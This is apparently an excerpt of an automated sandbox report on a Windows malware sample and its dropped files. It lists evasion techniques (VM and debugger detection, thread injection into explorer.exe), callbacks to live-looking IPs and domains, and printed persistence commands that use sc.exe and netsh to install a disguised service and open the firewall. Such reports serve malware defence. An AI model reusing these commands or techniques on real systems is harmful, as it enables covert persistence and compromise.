Source: C:\Users\user\AppData\Local\Temp\6A0A.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PSUEOSZZ\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\6A0A.exe	Dropped PE file which has not been started: C:\ProgramData\softokn3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\66AE.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\GPU.exe	Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\6A0A.exe

Registry key enumerated: More than 150 enums for key HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall

Source: C:\Users\user\AppData\Local\Temp\76BD.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc
Source: C:\Users\user\AppData\Local\Temp\76BD.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion
Source: C:\Users\user\AppData\Local\Temp\76BD.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\66AE.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\6A0A.exe

Code function: 25_2_0040A5EA _strtok,_strtok,__wgetenv,__wgetenv,GetLogicalDriveStringsA,_strtok,GetDriveTypeA,_strtok,

25_2_0040A5EA

Source: C:\Users\user\AppData\Local\Temp\6A0A.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.5_0\html\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6A0A.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.5_0\css\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6A0A.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.5_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6A0A.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.5_0\images\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6A0A.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.5_0\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6A0A.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.5_0\_locales\	Jump to behavior

Source: 66AE.exe, 00000018.00000002.424071226.0000000002970000.00000004.00000001.sdmp	Binary or memory string: vmware, inc.
Source: explorer.exe, 00000003.00000000.279685120.000000000871F000.00000004.00000001.sdmp	Binary or memory string: SCSI\Disk&Ven_VMware&Prod_Virtual_disk\5&1ec51bf7&0&000000
Source: t7p1ekMto0.exe, 00000001.00000001.237032622.0000000000400000.00000040.00020000.sdmp	Binary or memory string: qemu-ga.exeqga.exewindanr.exevboxservice.exevboxtray.exevmtoolsd.exeprl_tools.exeVS
Source: explorer.exe, 00000003.00000000.279685120.000000000871F000.00000004.00000001.sdmp	Binary or memory string: SCSI\CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00\5&280b647&0&000000:
Source: explorer.exe, 00000003.00000000.273673896.0000000004E45000.00000004.00000001.sdmp	Binary or memory string: AGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000025700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#000000001F400000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000026700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: 66AE.exe, 00000018.00000002.424071226.0000000002970000.00000004.00000001.sdmp	Binary or memory string: vmware7,1
Source: explorer.exe, 00000003.00000000.279280134.0000000008220000.00000002.00000001.sdmp, 66AE.exe, 00000018.00000002.482047218.000000001B4F0000.00000002.00000001.sdmp	Binary or memory string: A Virtual Machine could not be started because Hyper-V is not installed.
Source: explorer.exe, 00000003.00000000.279544828.0000000008640000.00000004.00000001.sdmp	Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#5&280b647&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}
Source: 66AE.exe, 00000018.00000002.424071226.0000000002970000.00000004.00000001.sdmp	Binary or memory string: vmware
Source: explorer.exe, 00000003.00000000.274194039.00000000056A1000.00000004.00000001.sdmp	Binary or memory string: \\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000025700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#000000001F400000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000026700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}qqqqqqqqqqqqqq
Source: 66AE.exe, 00000018.00000002.420867913.0000000000D1B000.00000004.00000020.sdmp	Binary or memory string: Hyper-V RAW %SystemRoot%\system32\mswsock.dllength="7"
Source: explorer.exe, 00000003.00000000.274124289.00000000055D0000.00000004.00000001.sdmp	Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#5&280b647&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}V*(E
Source: explorer.exe, 00000003.00000000.279685120.000000000871F000.00000004.00000001.sdmp	Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#5&280b647&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}~
Source: explorer.exe, 00000003.00000000.279685120.000000000871F000.00000004.00000001.sdmp	Binary or memory string: SCSI\CDROM&VEN_NECVMWAR&PROD_VMWARE_SATA_CD00\5&280B647&0&000000
Source: 66AE.exe, 00000018.00000002.527923956.000000001B726000.00000004.00000001.sdmp	Binary or memory string: \\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#000000001F400000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000026700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}QCV
Source: explorer.exe, 00000003.00000000.279745229.00000000087D1000.00000004.00000001.sdmp	Binary or memory string: VMware SATA CD00ices
Source: explorer.exe, 00000003.00000000.305876862.0000000005603000.00000004.00000001.sdmp	Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b},
Source: explorer.exe, 00000003.00000000.279280134.0000000008220000.00000002.00000001.sdmp, 66AE.exe, 00000018.00000002.482047218.000000001B4F0000.00000002.00000001.sdmp	Binary or memory string: A communication protocol error has occurred between the Hyper-V Host and Guest Compute Service.
Source: explorer.exe, 00000003.00000000.279280134.0000000008220000.00000002.00000001.sdmp, 66AE.exe, 00000018.00000002.482047218.000000001B4F0000.00000002.00000001.sdmp	Binary or memory string: The communication protocol version between the Hyper-V Host and Guest Compute Services is not supported.
Source: 66AE.exe, 00000018.00000002.420867913.0000000000D1B000.00000004.00000020.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\
Source: explorer.exe, 00000003.00000000.279280134.0000000008220000.00000002.00000001.sdmp, 66AE.exe, 00000018.00000002.482047218.000000001B4F0000.00000002.00000001.sdmp	Binary or memory string: An unknown internal message was received by the Hyper-V Compute Service.

Source: C:\Users\user\Desktop\t7p1ekMto0.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\6A0A.exe

Code function: 25_2_004323AD GetSystemInfo,

25_2_004323AD

Source: C:\Users\user\AppData\Local\Temp\6A0A.exe	Code function: 25_2_0040A24D __EH_prolog3,_sprintf,FindFirstFileA,_sprintf,_sprintf,_sprintf,PathMatchSpecA,CopyFileA,FindNextFileA,FindClose,	25_2_0040A24D
Source: C:\Users\user\AppData\Local\Temp\6A0A.exe	Code function: 25_2_004625F7 __EH_prolog3_GS,FindFirstFileW,FindNextFileW,	25_2_004625F7
Source: C:\Users\user\AppData\Local\Temp\6A0A.exe	Code function: 25_2_00412D96 _sprintf,FindFirstFileA,_sprintf,FindNextFileA,FindClose,	25_2_00412D96
Source: C:\Users\user\AppData\Local\Temp\6A0A.exe	Code function: 25_2_00404F13 __EH_prolog3,_memset,_memset,_memset,_memset,lstrcpyW,lstrcatW,FindFirstFileW,lstrcpyW,lstrcatW,lstrcatW,lstrcpyW,lstrcatW,lstrcatW,lstrcatW,lstrcmpW,lstrcmpW,lstrcmpW,PathMatchSpecW,DeleteFileW,PathMatchSpecW,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,FindNextFileW,FindClose,_memset,_memset,_memset,_memset,_memset,_memset,_memset,_memset,FindClose,	25_2_00404F13
Source: C:\Users\user\AppData\Local\Temp\6A0A.exe	Code function: 25_2_00405A45 __EH_prolog3,_sprintf,FindFirstFileA,_sprintf,FindNextFileA,FindClose,	25_2_00405A45

Source: C:\Users\user\Desktop\t7p1ekMto0.exe

System information queried: ModuleInformation

Jump to behavior

Anti Debugging:

Tries to detect sandboxes and other dynamic analysis tools (window names)

Show sources

Source: C:\Users\user\AppData\Local\Temp\76BD.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\76BD.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\76BD.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\76BD.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\76BD.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\76BD.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Hides threads from debuggers

Show sources

Source: C:\Users\user\AppData\Local\Temp\76BD.exe

Thread information set: HideFromDebugger

Checks for kernel code integrity (NtQuerySystemInformation(CodeIntegrityInformation))

Show sources

Source: C:\Users\user\Desktop\t7p1ekMto0.exe	System information queried: CodeIntegrityInformation			Jump to behavior
Source: C:\Users\user\AppData\Roaming\wshgiwf	System information queried: CodeIntegrityInformation			Jump to behavior

Source: C:\Users\user\Desktop\t7p1ekMto0.exe

0_2_00406E3E

Source: C:\Users\user\AppData\Local\Temp\7DF2.exe	Code function: 30_2_02F0092B mov eax, dword ptr fs:[00000030h]	30_2_02F0092B
Source: C:\Users\user\AppData\Local\Temp\7DF2.exe	Code function: 30_2_02F00D90 mov eax, dword ptr fs:[00000030h]	30_2_02F00D90
Source: C:\Users\user\AppData\Local\Temp\7DF2.exe	Code function: 30_2_02F37B0B push dword ptr fs:[00000030h]	30_2_02F37B0B

Source: C:\Users\user\Desktop\t7p1ekMto0.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wshgiwf	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6209.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6209.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\76BD.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\76BD.exe	Process queried: DebugObjectHandle
Source: C:\Users\user\AppData\Local\Temp\76BD.exe	Process queried: DebugPort

Source: C:\Users\user\Desktop\t7p1ekMto0.exe

Code function: 0_2_004028ED IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,

0_2_004028ED

Source: C:\Users\user\AppData\Local\Temp\7DF2.exe

Code function: 30_2_0040EC2E GetProcessHeap,RtlFreeHeap,

30_2_0040EC2E

Source: C:\Users\user\AppData\Local\Temp\66AE.exe

Process token adjusted: Debug

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\66AE.exe

Memory allocated: page read and write | page guard

Jump to behavior

Source: C:\Users\user\Desktop\t7p1ekMto0.exe	Code function: 0_2_004028ED IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_004028ED
Source: C:\Users\user\Desktop\t7p1ekMto0.exe	Code function: 0_2_004034A4 _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_004034A4
Source: C:\Users\user\Desktop\t7p1ekMto0.exe	Code function: 0_2_00401D6E __NMSG_WRITE,_raise,_memset,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_00401D6E
Source: C:\Users\user\Desktop\t7p1ekMto0.exe	Code function: 0_2_00404BF8 SetUnhandledExceptionFilter,	0_2_00404BF8
Source: C:\Users\user\AppData\Local\Temp\6A0A.exe	Code function: 25_2_0046E577 _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	25_2_0046E577
Source: C:\Users\user\AppData\Local\Temp\7DF2.exe	Code function: 30_2_00409A6B EntryPoint,SetErrorMode,SetErrorMode,SetErrorMode,SetUnhandledExceptionFilter,GetModuleHandleA,GetModuleFileNameA,GetCommandLineA,lstrlenA,ExitProcess,GetTempPathA,lstrcpyA,lstrcatA,lstrcatA,GetFileAttributesExA,DeleteFileA,GetEnvironmentVariableA,lstrcpyA,lstrlenA,RegOpenKeyExA,RegSetValueExA,RegCloseKey,GetModuleHandleA,GetModuleFileNameA,GetDriveTypeA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,wsprintfA,lstrcatA,lstrcatA,CreateProcessA,DeleteFileA,GetModuleHandleA,GetModuleFileNameA,GetDriveTypeA,GetCommandLineA,lstrlenA,StartServiceCtrlDispatcherA,DeleteFileA,GetLastError,Sleep,DeleteFileA,CreateThread,CreateThread,WSAStartup,CreateThread,Sleep,Sleep,GetTickCount,GetTickCount,GetTickCount,Sleep,	30_2_00409A6B

HIPS / PFW / Operating System Protection Evasion:

System process connects to network (likely due to code injection or exploit)

Show sources

Source: C:\Windows\explorer.exe	Network Connect: 91.228.218.70 80	Jump to behavior
Source: C:\Windows\explorer.exe	Domain query: readinglistforaugust3.xyz
Source: C:\Windows\explorer.exe	Network Connect: 185.49.70.90 32	Jump to behavior
Source: C:\Windows\explorer.exe	Domain query: readinglistforaugust2.xyz
Source: C:\Windows\explorer.exe	Domain query: readinglistforaugust1.xyz

Benign windows process drops PE files

Show sources

Source: C:\Windows\explorer.exe

File created: wshgiwf.3.dr

Jump to dropped file

Maps a DLL or memory area into another process

Show sources

Source: C:\Users\user\Desktop\t7p1ekMto0.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: read write	Jump to behavior
Source: C:\Users\user\Desktop\t7p1ekMto0.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wshgiwf	Section loaded: unknown target: C:\Windows\explorer.exe protection: read write	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wshgiwf	Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read	Jump to behavior

Creates a thread in another existing process (thread injection)

Show sources

Source: C:\Users\user\Desktop\t7p1ekMto0.exe	Thread created: C:\Windows\explorer.exe EIP: 32F1EEC			Jump to behavior
Source: C:\Users\user\AppData\Roaming\wshgiwf	Thread created: unknown EIP: 3871EEC			Jump to behavior

.NET source code references suspicious native API functions

Show sources

Source: 66AE.exe.3.dr, u003cu0020u0020u0020u0020u0020u0020u0020u0020u0020u0020u0020u0020u003e.cs	Reference to suspicious API methods: ('GetProcAddress', 'GetProcAddress@kernel32.dll'), ('LoadLibraryA', 'LoadLibraryA@kernel32.dll')
Source: AgileDotNetProtector.exe.24.dr, Reborn/WinApi2.cs	Reference to suspicious API methods: ('GetProcAddress', 'GetProcAddress@kernel32.dll'), ('LoadLibrary', 'LoadLibrary@kernel32.dll')
Source: CPU.exe.24.dr, u003cu0020u0020u0020u0020u0020u0020u0020u0020u0020u0020u0020u0020u0020u0020u0020u0020u0020u0020u0020u0020u0020u0020u0020u0020u0020u0020u0020u0020u0020u0020u0020u0020u0020u003e.cs	Reference to suspicious API methods: ('GetProcAddress', 'GetProcAddress@kernel32.dll'), ('LoadLibraryA', 'LoadLibraryA@kernel32.dll')
Source: GPU.exe.24.dr, u003cu0020u0020u0020u0020u0020u0020u0020u0020u0020u0020u0020u0020u0020u0020u0020u0020u0020u0020u0020u0020u0020u0020u0020u0020u0020u0020u0020u0020u0020u0020u0020u0020u0020u003e.cs	Reference to suspicious API methods: ('GetProcAddress', 'GetProcAddress@kernel32.dll'), ('LoadLibraryA', 'LoadLibraryA@kernel32.dll')
Source: 24.0.66AE.exe.7a0000.0.unpack, u003cu0020u0020u0020u0020u0020u0020u0020u0020u0020u0020u0020u0020u003e.cs	Reference to suspicious API methods: ('GetProcAddress', 'GetProcAddress@kernel32.dll'), ('LoadLibraryA', 'LoadLibraryA@kernel32.dll')
Source: 24.2.66AE.exe.7a0000.0.unpack, u003cu0020u0020u0020u0020u0020u0020u0020u0020u0020u0020u0020u0020u003e.cs	Reference to suspicious API methods: ('GetProcAddress', 'GetProcAddress@kernel32.dll'), ('LoadLibraryA', 'LoadLibraryA@kernel32.dll')

Source: C:\Users\user\Desktop\t7p1ekMto0.exe	Process created: C:\Users\user\Desktop\t7p1ekMto0.exe 'C:\Users\user\Desktop\t7p1ekMto0.exe'	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wshgiwf	Process created: C:\Users\user\AppData\Roaming\wshgiwf C:\Users\user\AppData\Roaming\wshgiwf	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\66AE.exe	Process created: C:\Users\user\AppData\Local\Temp\AgileDotNetProtector.exe 'C:\Users\user\AppData\Local\Temp\AgileDotNetProtector.exe'	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\66AE.exe	Process created: C:\Users\user\AppData\Local\Temp\CPU.exe 'C:\Users\user\AppData\Local\Temp\CPU.exe'	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\66AE.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6A0A.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 492 -p 2392 -ip 2392
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 2392 -s 768
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\7DF2.exe	Process created: C:\Windows\SysWOW64\cmd.exe 'C:\Windows\System32\cmd.exe' /C mkdir C:\Windows\SysWOW64\vauvbnqt\
Source: C:\Users\user\AppData\Local\Temp\7DF2.exe	Process created: C:\Windows\SysWOW64\cmd.exe 'C:\Windows\System32\cmd.exe' /C move /Y 'C:\Users\user\AppData\Local\Temp\nruqclie.exe' C:\Windows\SysWOW64\vauvbnqt\
Source: C:\Users\user\AppData\Local\Temp\7DF2.exe	Process created: C:\Windows\SysWOW64\sc.exe 'C:\Windows\System32\sc.exe' create vauvbnqt binPath= 'C:\Windows\SysWOW64\vauvbnqt\nruqclie.exe /d\'C:\Users\user\AppData\Local\Temp\7DF2.exe\'' type= own start= auto DisplayName= 'wifi support'
Source: C:\Users\user\AppData\Local\Temp\7DF2.exe	Process created: C:\Windows\SysWOW64\sc.exe 'C:\Windows\System32\sc.exe' description vauvbnqt 'wifi internet conection'
Source: C:\Users\user\AppData\Local\Temp\7DF2.exe	Process created: C:\Windows\SysWOW64\sc.exe 'C:\Windows\System32\sc.exe' start vauvbnqt
Source: C:\Users\user\AppData\Local\Temp\7DF2.exe	Process created: C:\Windows\SysWOW64\netsh.exe 'C:\Windows\System32\netsh.exe' advfirewall firewall add rule name='Host-process for services of Windows' dir=in action=allow program='C:\Windows\SysWOW64\svchost.exe' enable=yes>nul

Source: C:\Users\user\AppData\Local\Temp\7DF2.exe

Code function: 30_2_00406EDD AllocateAndInitializeSid,CheckTokenMembership,FreeSid,

30_2_00406EDD

Source: C:\Users\user\AppData\Local\Temp\7DF2.exe

Code function: 30_2_00407809 CreateThread,GetUserNameA,LookupAccountNameA,GetLengthSid,GetFileSecurityA,GetSecurityDescriptorOwner,EqualSid,LocalAlloc,InitializeSecurityDescriptor,SetSecurityDescriptorOwner,SetFileSecurityA,LocalFree,GetSecurityDescriptorDacl,GetAce,EqualSid,DeleteAce,EqualSid,LocalAlloc,InitializeSecurityDescriptor,SetSecurityDescriptorDacl,SetFileSecurityA,LocalFree,

30_2_00407809

Source: explorer.exe, 00000003.00000000.289989131.0000000001398000.00000004.00000020.sdmp	Binary or memory string: ProgmanamF
Source: explorer.exe, 00000003.00000000.290306581.0000000001980000.00000002.00000001.sdmp, 6209.exe, 00000017.00000000.397322375.0000000003510000.00000002.00000001.sdmp	Binary or memory string: Program Manager
Source: explorer.exe, 00000003.00000000.279685120.000000000871F000.00000004.00000001.sdmp, 6209.exe, 00000017.00000000.397322375.0000000003510000.00000002.00000001.sdmp	Binary or memory string: Shell_TrayWnd
Source: explorer.exe, 00000003.00000000.290306581.0000000001980000.00000002.00000001.sdmp, 6209.exe, 00000017.00000000.397322375.0000000003510000.00000002.00000001.sdmp	Binary or memory string: Progman
Source: explorer.exe, 00000003.00000000.290306581.0000000001980000.00000002.00000001.sdmp, 6209.exe, 00000017.00000000.397322375.0000000003510000.00000002.00000001.sdmp	Binary or memory string: Progmanlock

Source: C:\Users\user\Desktop\t7p1ekMto0.exe	Code function: GetLocaleInfoA,	0_2_00409146
Source: C:\Users\user\AppData\Local\Temp\6A0A.exe	Code function: __EH_prolog3,GetKeyboardLayoutList,LocalAlloc,GetKeyboardLayoutList,GetLocaleInfoA,_memset,LocalFree,	25_2_0045F961
Source: C:\Users\user\AppData\Local\Temp\6A0A.exe	Code function: __getptd,_LcidFromHexString,GetLocaleInfoA,_TestDefaultLanguage,	25_2_004780AC
Source: C:\Users\user\AppData\Local\Temp\6A0A.exe	Code function: _strlen,_strlen,_GetPrimaryLen,EnumSystemLocalesA,	25_2_0047816C
Source: C:\Users\user\AppData\Local\Temp\6A0A.exe	Code function: _strlen,_GetPrimaryLen,EnumSystemLocalesA,	25_2_004781D3
Source: C:\Users\user\AppData\Local\Temp\6A0A.exe	Code function: __getptd,_TranslateName,_GetLcidFromLangCountry,_GetLcidFromLanguage,_TranslateName,_GetLcidFromLangCountry,_GetLcidFromLanguage,_strlen,EnumSystemLocalesA,GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoA,_strcpy_s,__invoke_watson,GetLocaleInfoA,GetLocaleInfoA,__itow_s,	25_2_0047820F
Source: C:\Users\user\AppData\Local\Temp\6A0A.exe	Code function: ___crtGetLocaleInfoA,GetLastError,___crtGetLocaleInfoA,__calloc_crt,___crtGetLocaleInfoA,__calloc_crt,_free,_free,__invoke_watson,GetLocaleInfoW,GetLocaleInfoW,__calloc_crt,GetLocaleInfoW,_free,GetLocaleInfoW,	25_2_0047660B
Source: C:\Users\user\AppData\Local\Temp\6A0A.exe	Code function: ___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,	25_2_004768B6

Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: unknown VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: unknown VolumeInformation	Jump to behavior
